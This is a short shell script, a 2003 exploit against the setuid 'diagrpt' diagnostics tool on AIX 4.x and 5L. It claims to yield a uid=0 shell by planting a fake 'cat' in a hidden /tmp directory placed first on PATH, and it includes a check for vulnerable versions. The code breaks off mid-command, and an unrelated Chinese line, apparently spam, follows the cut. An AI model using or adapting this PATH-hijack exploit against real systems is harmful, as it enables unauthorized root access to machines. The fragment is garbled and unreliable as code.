#!/bin/sh # FileName: x_diagrpt.sh # Exploit diagrpt of Aix4.x & 5L to get a uid=0 shell. # Tested : on Aix4.3.3 & Aix5.1. # Author : watercloud@xfocus.org # Site : www.xfocus.org www.xfocus.net # Date : 2003-5-23 # Announce: use as your owner risk! # # Note : # It does not work on all versions of tsm command. # Use this command to test if your version can exploit or not : # bash$ strings /usr/lpp/diagnostics/bin/diagrpt |grep cat # diagrpt.cat # cat %s <--- here ! have the bug !!! can exploit! # O_DIR=`/bin/pwd` cd /tmp ; mkdir .ex$$ ; cd .ex$$ PATH=/tmp/.ex$$:$PATH ; export PATH /bin/cat >cat<

亚洲欧美在线